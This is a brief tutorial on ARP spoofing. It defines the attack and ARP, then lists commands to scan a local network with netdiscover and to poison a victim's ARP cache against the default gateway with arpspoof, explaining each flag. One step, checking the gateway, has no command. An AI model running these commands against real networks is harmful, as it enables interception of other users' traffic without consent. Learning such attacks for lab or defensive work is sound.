ARP spoofing is a type of attack in which a malicious actor sends falsified ARP (Address Resolution Protocol) messages over a local area network. This results in the linking of an attacker’s MAC address with the IP address of a legitimate computer or server on the network.
The Address Resolution Protocol is a communication protocol used for discovering the link layer address associated with a given IPv4 address, a critical function in the Internet protocol suite
Check your default gateway:
Scan your network:
Netdiscover -r 192.168.1.0/24
-r is for range
Now start the ARP Poisoning/Spoofing:
arpspoof -i eth0 -t victimIP -r DefaultGateway
-i is for interface.
-t is for target.
-r is for default gateway.